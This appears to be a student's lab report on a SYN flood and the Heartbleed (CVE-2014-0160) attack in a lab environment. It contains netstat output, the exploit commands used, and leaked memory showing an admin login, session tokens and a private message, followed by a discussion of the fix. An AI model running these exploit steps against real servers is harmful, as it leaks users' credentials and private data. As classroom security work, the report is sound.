tcp        0      0 192.168.129.236:80      51.245.54.196:57902     SYN_RECV
tcp        0      0 192.168.129.236:80      79.127.77.41:1199       SYN_RECV
tcp        0      0 192.168.129.236:80      117.193.229.130:14009   SYN_RECV
tcp        0      0 192.168.129.236:80      222.137.159.32:40124    SYN_RECV
tcp        0      0 192.168.129.236:80      172.33.43.52:5216       SYN_RECV
tcp        0      0 192.168.129.236:80      148.95.201.247:1354     SYN_RECV
tcp        0      0 192.168.129.236:80      96.32.208.31:49523      SYN_RECV
tcp        0      0 192.168.129.236:80      106.99.55.118:58970     SYN_RECV
tcp        0      0 192.168.129.236:80      157.40.254.160:49997    SYN_RECV
tcp        0      0 192.168.129.236:80      24.66.136.29:9746       SYN_RECV
tcp        0      0 192.168.129.236:80      12.36.102.179:58038     SYN_RECV
tcp        0      0 192.168.129.236:80      51.162.153.117:45550    SYN_RECV
tcp        0      0 192.168.129.236:80      153.210.217.14:55584    SYN_RECV
tcp        0      0 192.168.129.236:80      80.16.118.183:49381     SYN_RECV
tcp        0      0 192.168.129.236:80      165.153.192.251:24758   SYN_RECV
tcp        0      0 192.168.129.236:80      19.165.198.100:14390    SYN_RECV
tcp        0      0 192.168.129.236:80      158.238.243.49:28781    SYN_RECV
tcp        0      0 192.168.129.236:80      199.46.173.67:10418     SYN_RECV
tcp        0      0 192.168.129.236:80      124.206.204.5:39476     SYN_RECV
tcp        0      0 192.168.129.236:80      179.31.14.209:25703     SYN_RECV
tcp        0      0 192.168.129.236:80      54.73.102.67:13951      SYN_RECV
tcp        0      0 192.168.129.236:80      129.113.225.56:30812    SYN_RECV
tcp        0      0 192.168.129.236:80      161.112.78.44:24765     SYN_RECV
tcp        0      0 192.168.129.236:80      6.47.252.253:36707      SYN_RECV
tcp        0      0 192.168.129.236:80      164.166.90.60:60186     SYN_RECV
tcp        0      0 192.168.129.236:80      46.5.96.13:29006        SYN_RECV
tcp        0      0 192.168.129.236:80      247.236.28.81:3624      SYN_RECV
tcp        0      0 192.168.129.236:80      161.116.245.118:36434   SYN_RECV
tcp        0      0 192.168.129.236:80      46.174.46.240:49220     SYN_RECV
tcp        0      0 192.168.129.236:80      158.167.187.172:44123   SYN_RECV
tcp        0      0 192.168.129.236:80      111.26.144.74:18070     SYN_RECV
tcp        0      0 192.168.129.236:80      251.18.146.254:12421    SYN_RECV
tcp        0      0 192.168.129.236:80      254.27.225.167:64904    SYN_RECV
tcp        0      0 192.168.129.236:80      242.180.41.209:28946    SYN_RECV
tcp        0      0 192.168.129.236:80      202.29.231.97:64233     SYN_RECV
tcp        0      0 192.168.129.236:80      67.69.251.69:57327      SYN_RECV
tcp        0      0 192.168.129.236:80      16.165.137.157:3213     SYN_RECV
tcp        0      0 192.168.129.236:80      133.106.247.156:7293    SYN_RECV
tcp        0      0 192.168.129.236:80      100.172.98.122:45069    SYN_RECV
tcp        0      0 192.168.129.236:80      216.171.189.220:55142   SYN_RECV
tcp        0      0 192.168.129.236:80      76.220.164.81:35781     SYN_RECV
tcp        0      0 192.168.129.236:80      186.255.237.196:39119   SYN_RECV
tcp        0      0 192.168.129.236:80      71.2.99.82:20767        SYN_RECV
tcp        0      0 192.168.129.236:80      13.174.49.198:51068     SYN_RECV
tcp        0      0 192.168.129.236:80      51.119.148.230:29530    SYN_RECV
tcp        0      0 192.168.129.236:80      203.181.104.54:27080    SYN_RECV
tcp        0      0 192.168.129.236:80      202.105.207.133:43653   SYN_RECV
tcp        0      0 192.168.129.236:80      143.215.173.136:28368   SYN_RECV
tcp        0      0 192.168.129.236:80      177.148.94.119:63561    SYN_RECV
tcp        0      0 192.168.129.236:80      218.54.134.170:16864    SYN_RECV
tcp        0      0 192.168.129.236:80      212.58.88.81:38870      SYN_RECV
tcp        0      0 192.168.129.236:80      113.156.16.77:54263     SYN_RECV
tcp        0      0 192.168.129.236:80      146.198.122.104:33380   SYN_RECV
```

```
tcp        0      0 192.168.129.236:80      15.78.110.232:8151      SYN_RECV
tcp        0      0 192.168.129.236:80      82.254.100.119:64681    SYN_RECV
tcp        0      0 192.168.129.236:80      199.127.209.148:7487    SYN_RECV
tcp        0      0 192.168.129.236:80      68.249.170.224:61766    SYN_RECV
tcp        0      0 192.168.129.236:80      70.116.255.138:6207     SYN_RECV
tcp        0      0 192.168.129.236:80      141.171.44.189:21473    SYN_RECV
tcp        0      0 192.168.129.236:80      122.33.158.131:55221    SYN_RECV
tcp        0      0 192.168.129.236:80      60.31.185.30:32166      SYN_RECV
tcp        0      0 192.168.129.236:80      65.26.4.52:54776        SYN_RECV
tcp        0      0 192.168.129.236:80      41.141.205.36:49590     SYN_RECV
tcp        0      0 192.168.129.236:80      50.98.155.183:20054     SYN_RECV
tcp        0      0 192.168.129.236:80      172.177.132.159:55089   SYN_RECV
tcp        0      0 192.168.129.236:80      135.116.167.107:53789   SYN_RECV
tcp        0      0 192.168.129.236:80      213.244.135.80:31553    SYN_RECV
tcp        0      0 192.168.129.236:80      58.147.56.210:2602      SYN_RECV
tcp        0      0 192.168.129.236:80      84.220.209.53:52008     SYN_RECV
tcp        0      0 192.168.129.236:80      243.29.205.5:8585       SYN_RECV
tcp        0      0 192.168.129.236:80      15.229.207.223:49423    SYN_RECV
tcp        0      0 192.168.129.236:80      186.84.187.46:50521     SYN_RECV
tcp        0      0 192.168.129.236:80      116.226.72.136:43478    SYN_RECV
tcp        0      0 192.168.129.236:80      73.203.40.150:20688     SYN_RECV
tcp        0      0 192.168.129.236:80      157.56.21.242:7462      SYN_RECV
tcp        0      0 192.168.129.236:80      120.135.102.133:7148    SYN_RECV
tcp        0      0 192.168.129.236:80      165.234.125.210:3210    SYN_RECV
tcp        0      0 192.168.129.236:80      192.119.95.221:50995    SYN_RECV
tcp        0      0 192.168.129.236:80      102.148.248.100:17868   SYN_RECV
tcp        0      0 192.168.129.236:80      126.235.204.235:2288    SYN_RECV
tcp        0      0 192.168.129.236:80      153.148.8.158:20357     SYN_RECV
tcp        0      0 192.168.129.236:80      14.67.14.63:20563       SYN_RECV
tcp        0      0 192.168.129.236:80      217.68.254.181:45699    SYN_RECV
tcp        0      0 192.168.129.236:80      193.155.182.186:51788   SYN_RECV
tcp        0      0 192.168.129.236:80      54.55.95.205:53787      SYN_RECV
tcp        0      0 192.168.129.236:80      2.187.53.148:63072      SYN_RECV
tcp        0      0 192.168.129.236:80      102.247.245.156:47365   SYN_RECV
tcp        0      0 192.168.129.236:80      162.205.245.100:52477   SYN_RECV
tcp        0      0 192.168.129.236:80      112.188.122.65:59921    SYN_RECV
tcp        0      0 192.168.129.236:80      241.242.21.155:17215    SYN_RECV
tcp        0      0 192.168.129.236:80      218.232.69.167:22603    SYN_RECV
tcp        0      0 192.168.129.236:80      113.233.238.185:25623   SYN_RECV
tcp        0      0 192.168.129.236:80      66.52.141.62:4642       SYN_RECV
tcp        0      0 192.168.129.236:80      34.21.19.57:35587       SYN_RECV
tcp        0      0 192.168.129.236:80      78.24.157.212:13108     SYN_RECV
tcp        0      0 192.168.129.236:80      191.104.101.113:6573    SYN_RECV
tcp        0      0 192.168.129.236:80      78.124.113.24:12931     SYN_RECV
tcp        0      0 192.168.129.236:80      123.192.179.162:25149   SYN_RECV
tcp        0      0 192.168.129.236:80      3.38.149.235:18294      SYN_RECV
tcp        0      0 192.168.129.236:80      122.88.90.51:40521      SYN_RECV
tcp        0      0 192.168.129.236:80      157.107.48.207:9433     SYN_RECV
tcp        0      0 192.168.129.236:80      179.239.248.69:52672    SYN_RECV
tcp        0      0 192.168.129.236:80      146.45.39.128:32502     SYN_RECV
tcp        0      0 192.168.129.236:80      27.2.137.41:27609       SYN_RECV
tcp        0      0 192.168.129.236:80      100.18.231.225:5057     SYN_RECV
tcp        0      0 192.168.129.236:80      15.161.115.30:26494     SYN_RECV
tcp        0      0 192.168.129.236:80      245.148.97.32:14841     SYN_RECV
```

```
tcp        0      0 192.168.129.236:80      190.223.134.175:28125   SYN_RECV
tcp        0      0 192.168.129.236:80      109.104.105.194:61511   SYN_RECV
tcp        0      0 192.168.129.236:80      188.228.44.90:44752     SYN_RECV
tcp        0      0 192.168.129.236:80      16.65.58.70:32501       SYN_RECV
tcp        0      0 192.168.129.236:80      58.135.156.98:10039     SYN_RECV
tcp        0      0 192.168.129.236:80      171.125.169.3:62096     SYN_RECV
tcp        0      0 192.168.129.236:80      74.104.13.178:4879      SYN_RECV
tcp        0      0 192.168.129.236:80      138.70.56.119:39903     SYN_RECV
tcp        0      0 192.168.129.236:80      51.18.122.239:12509     SYN_RECV
tcp        0      0 192.168.129.236:80      44.203.142.163:41603    SYN_RECV
tcp        0      0 192.168.129.236:80      92.214.92.246:10994     SYN_RECV
tcp        0      0 192.168.129.236:80      88.87.189.80:42722      SYN_RECV
tcp        0      0 192.168.129.236:80      214.56.178.7:41697      SYN_RECV
tcp        0      0 192.168.129.236:80      2.154.158.18:38319      SYN_RECV
tcp        0      0 192.168.129.236:80      27.231.44.253:54432     SYN_RECV
tcp        0      0 192.168.129.236:80      146.86.66.40:11463      SYN_RECV
tcp        0      0 192.168.129.236:80      16.104.241.253:48394    SYN_RECV
tcp        0      0 192.168.129.236:80      21.109.102.90:61167     SYN_RECV
tcp        0      0 192.168.129.236:80      96.86.93.24:56062       SYN_RECV
tcp        0      0 192.168.129.236:80      125.108.186.133:25024   SYN_RECV
tcp        0      0 192.168.129.236:80      150.27.124.225:62045    SYN_RECV
tcp        0      0 192.168.129.236:80      77.210.69.216:44116     SYN_RECV
tcp        0      0 192.168.129.236:80      50.160.239.62:2227      SYN_RECV
tcp        0      0 192.168.129.236:80      132.147.54.88:65333     SYN_RECV
tcp        0      0 192.168.129.236:80      172.40.73.228:4719      SYN_RECV
tcp        0      0 192.168.129.236:80      36.202.153.222:19277    SYN_RECV
tcp        0      0 192.168.129.236:80      107.158.114.88:61553    SYN_RECV
tcp        0      0 192.168.129.236:80      85.109.50.39:13934      SYN_RECV
tcp        0      0 192.168.129.236:80      11.140.114.232:35219    SYN_RECV
tcp        0      0 192.168.129.236:80      142.134.149.146:61747   SYN_RECV
tcp        0      0 192.168.129.236:80      139.102.85.89:26010     SYN_RECV
tcp        0      0 192.168.129.236:80      187.182.87.174:44676    SYN_RECV
tcp        0      0 192.168.129.236:80      221.136.128.31:10350    SYN_RECV
tcp        0      0 192.168.129.236:80      19.20.28.192:54418      SYN_RECV
tcp        0      0 192.168.129.236:80      159.146.53.155:64163    SYN_RECV
tcp        0      0 192.168.129.236:80      113.76.221.54:18475     SYN_RECV
tcp        0      0 192.168.129.236:80      29.48.53.71:9297        SYN_RECV
tcp        0      0 192.168.129.236:80      84.112.145.216:10504    SYN_RECV
tcp        0      0 192.168.129.236:80      103.119.84.24:41186     SYN_RECV
tcp        0      0 192.168.129.236:80      242.7.184.250:8461      SYN_RECV
tcp        0      0 192.168.129.236:80      96.153.97.51:32201      SYN_RECV
tcp        0      0 192.168.129.236:80      132.129.186.24:40551    SYN_RECV
tcp        0      0 192.168.129.236:80      117.39.54.9:49251       SYN_RECV
tcp        0      0 192.168.129.236:80      203.187.30.113:44121    SYN_RECV
tcp        0      0 192.168.129.236:80      55.85.71.242:12547      SYN_RECV
tcp        0      0 192.168.129.236:80      27.35.202.46:27146      SYN_RECV
tcp        0      0 192.168.129.236:80      60.168.183.38:34786     SYN_RECV
tcp        0      0 192.168.129.236:80      102.183.40.129:34678    SYN_RECV
tcp        0      0 192.168.129.236:80      195.216.98.73:64939     SYN_RECV
tcp        0      0 192.168.129.236:80      221.31.151.37:40575     SYN_RECV
tcp        0      0 192.168.129.236:80      29.251.11.252:61540     SYN_RECV
tcp        0      0 192.168.129.236:80      203.71.239.194:20284    SYN_RECV
tcp        0      0 192.168.129.236:80      187.172.226.50:63155    SYN_RECV
tcp        0      0 192.168.129.236:80      55.35.184.29:18283      SYN_RECV
```

```
tcp        0      0 192.168.129.236:80      185.242.25.213:29668    SYN_RECV
tcp        0      0 192.168.129.236:80      163.206.8.217:12190     SYN_RECV
tcp        0      0 192.168.129.236:80      222.68.172.76:2781      SYN_RECV
tcp        0      0 192.168.129.236:80      187.69.0.60:10548       SYN_RECV
tcp        0      0 192.168.129.236:80      181.96.154.159:19239    SYN_RECV
tcp        0      0 192.168.129.236:80      16.61.114.142:65158     SYN_RECV
tcp        0      0 192.168.129.236:80      167.137.208.242:29804   SYN_RECV
tcp        0      0 192.168.129.236:80      144.189.77.162:11392    SYN_RECV
tcp        0      0 192.168.129.236:80      206.81.211.101:31204    SYN_RECV
tcp        0      0 192.168.129.236:80      139.119.237.129:47411   SYN_RECV
tcp        0      0 192.168.129.236:80      201.143.160.100:26643   SYN_RECV
tcp        0      0 192.168.129.236:80      158.65.190.236:37762    SYN_RECV
tcp        0      0 192.168.129.236:80      22.60.150.14:16767      SYN_RECV
tcp        0      0 192.168.129.236:80      85.66.106.45:53888      SYN_RECV
tcp        0      0 192.168.129.236:80      129.30.159.169:9066     SYN_RECV
tcp        0      0 192.168.129.236:80      46.159.141.105:21787    SYN_RECV
tcp        0      0 192.168.129.236:80      218.108.193.230:61009   SYN_RECV
tcp        0      0 192.168.129.236:80      77.21.115.255:55247     SYN_RECV
tcp        0      0 192.168.129.236:80      9.186.37.82:19181       SYN_RECV
tcp        0      0 192.168.129.236:80      29.127.242.175:29696    SYN_RECV
tcp        0      0 192.168.129.236:80      48.214.252.110:16763    SYN_RECV
tcp        0      0 192.168.129.236:80      217.170.140.95:15177    SYN_RECV
tcp        0      0 192.168.129.236:80      114.37.251.75:36162     SYN_RECV
tcp        0      0 192.168.129.236:80      21.125.66.189:53330     SYN_RECV
tcp        0      0 192.168.129.236:80      138.18.145.164:13158    SYN_RECV
tcp        0      0 192.168.129.236:80      10.22.237.198:40816     SYN_RECV
tcp        0      0 192.168.129.236:80      81.239.187.43:13735     SYN_RECV
tcp        0      0 192.168.129.236:80      13.31.65.78:30577       SYN_RECV
tcp        0      0 192.168.129.236:80      78.79.122.236:63972     SYN_RECV
tcp        0      0 192.168.129.236:80      190.164.3.134:22551     SYN_RECV
tcp        0      0 192.168.129.236:80      118.25.34.205:27169     SYN_RECV
tcp        0      0 192.168.129.236:80      29.231.197.77:19664     SYN_RECV
tcp        0      0 192.168.129.236:80      29.96.238.172:55073     SYN_RECV
tcp        0      0 192.168.129.236:80      55.100.210.52:46020     SYN_RECV
tcp        0      0 192.168.129.236:80      221.16.153.31:11745     SYN_RECV
tcp        0      0 192.168.129.236:80      57.52.4.76:44234        SYN_RECV
tcp        0      0 192.168.129.236:80      123.101.227.119:43669   SYN_RECV
tcp        0      0 192.168.129.236:80      129.169.131.144:15136   SYN_RECV
tcp        0      0 192.168.129.236:80      206.105.169.239:13110   SYN_RECV
tcp        0      0 192.168.129.236:80      189.198.220.143:33584   SYN_RECV
tcp        0      0 192.168.129.236:53      0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp        1      0 192.168.129.236:48213   185.125.188.132:80      CLOSE_WAIT
tcp6       0      0 :::8080                 :::*                    LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::53                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:631                 :::*                    LISTEN
tcp6       0      0 :::3128                 :::*                    LISTEN
```

```
tcp6       0      0 ::1:953                 :::*                    LISTEN
tcp6       0      0 :::443                  :::*                    LISTEN
udp        0      0 192.168.129.236:53      0.0.0.0:*
udp        0      0 127.0.0.1:53            0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:54414           0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:41492           0.0.0.0:*
udp6       0      0 :::53                   :::*
udp6       0      0 :::43682                :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::41377                :::*
```

7. For each piece of secret that you steal from the Heartbleed attack, you need to show the screenshots as the proof. Upload a pdf of your screenshots.

There are parts of the outputs since we output them in a file and the some lines are quite long.

- Username and password.

```
__elgg_token=1c6f8a107fe3ed7f867bbbc4ebdc58ef&__elgg_ts=1664259788&username=admin&
password=seedelgg.h|l6+.M%.
```

The username and password are in the token `username=admin&password=seedelgg`.

- User's activity (what the user has done).

```
r-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
sec-ch-ua-platform: "macOS"
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Referer: https://www.heartbleedlabelgg.com/messages/compose?send_to=40
```

The user's activity can be seen as a route name and parameter of the `Referer` field, which is `messages/compose` and `sent_to`.

- The exact content of the private message.

```
...
__elgg_token=4412cb4b1950d84c0f8e67736befb9b6&__elgg_ts=1664260887&recipient_guid=
40&subject=A+secret&body=Dude%2C+this+is+secret+stuff%2C+you+must+keep+this+betwee
n+us.+Never%2C+never+tell+anyone+this+secret+stuff....=q...e._.;I.u0AAAAAAAAAAAAAA
AAAAAAABCDEFGHIJKLMNOABC...
...
```

8. For the Heartbleed attack, explain how you did the attack, and what your observations are.

First, we ran the command twice to see the outputs

```
sudo python ./attack.py www.heartbleedlabelgg.com
```

and our first observations are that the output is not the same.

Then, we ran this command

```
sudo python ./attack.py www.heartbleedlabelgg.com --asciioutfile result.txt --
donotdisplay -n 500 -l 50000
```

to iterate our connection and get information as much as possible.

Lastly, we did search in our `result.txt` file for `secret` and found other pieces of information as shown above.

9. As the length variable decreases, what kind of difference can you observe?

As the length variable decreases, the length of the extra data decreases. We get less information.

10. As the length variable decreases, there is a boundary value for the input length variable. At or below that boundary, the Heartbeat query will receive a response packet without attaching any extra data (which means the request is benign). Please find that boundary length. You may need to try many different length values until the web server sends back the reply without extra data. To help you with this, when the number of returned bytes is smaller than the expected length, the program will print "Server processed malformed Heartbeat, but did not return any extra data." What is the boundary length?

The boundary value of the length input variable is 22. You can see the outputs as shown below that the `-l 22` output had "...but did not return any extra data."

```
sudo python ./attack.py www.heartbleedlabelgg.com --asciioutfile be.txt -l 22

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-
2014-0160)

#################################################################
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
```

```
Received Server Hello for TLSv1.0
Analyze the result....
Server processed malformed heartbeat, but did not return any extra data.
Analyze the result....
Received alert:

Please wait... connection attempt 1 of 1
################################################################

.F
```

```
sudo python ./attack.py www.heartbleedlabelgg.com --asciioutfile be.txt -l 23

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-
2014-0160)

################################################################
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server
is vulnerable!

Please wait... connection attempt 1 of 1
################################################################

...AAAAAAAAAAAAAAAAAAAAABC..Is....<.u>0Yn.
```

11. Try your attack again after you have updated the OpenSSL library. Are you successful at stealing data from the server after the upgrade?

After upgrading OpenSSL through

```
sudo apt-get update
sudo apt-get upgrade
```

(which is not really working since the updates were already archived) we ran the same command and didn't get any piece of information. It only returned

.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F

`.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F.F` as an output.

```
struct {
  HeartbeatMessageType type;
  uint16 payload_length;
  opaque payload[HeartbeatMessage.payload_length];
  opaque padding[padding_length];
} HeartbeatMessage;
```

12. Please point out the problem from the code and provide a solution to fix the bug (i.e., what modification is needed to fix the bug). You do not need to recompile the code; just describe how you can fix the problem.

The problem is in the line `payload[HeartbeatMessage.payload_length]` where payload's length is from the input itself, this can cause array buffer overflow and extra data leakage of internal memory. You can simply fix it by exclude the field `payload_length` field altogether and send back the original payload.

13. Comment on the following discussions by Alice, Bob, and Eva regarding the fundamental cause of the Heartbleed vulnerability: Alice thinks the fundamental cause is missing the boundary checking during the buffer copy; Bob thinks the cause is missing the user input validation; Eva thinks that we can just delete the length value from the packet to solve everything. Who do you agree and disagree with, and why?

We do agree with Alice and Bob.

- Buffer overflow must throw an exception since it is crucial to access forbidden memory. The boundary checking during the buffer copy is indeed needed.
- Input validation is another good way of checking whether the request is bad or not. It should return a 400 response which means it is a bad request.
- We disagree with Eva because it might cause a performance issue since we have to read the all message, the package can be too long to read, and reading it can cause more security issues (we don't want to read any messages that we don't trust).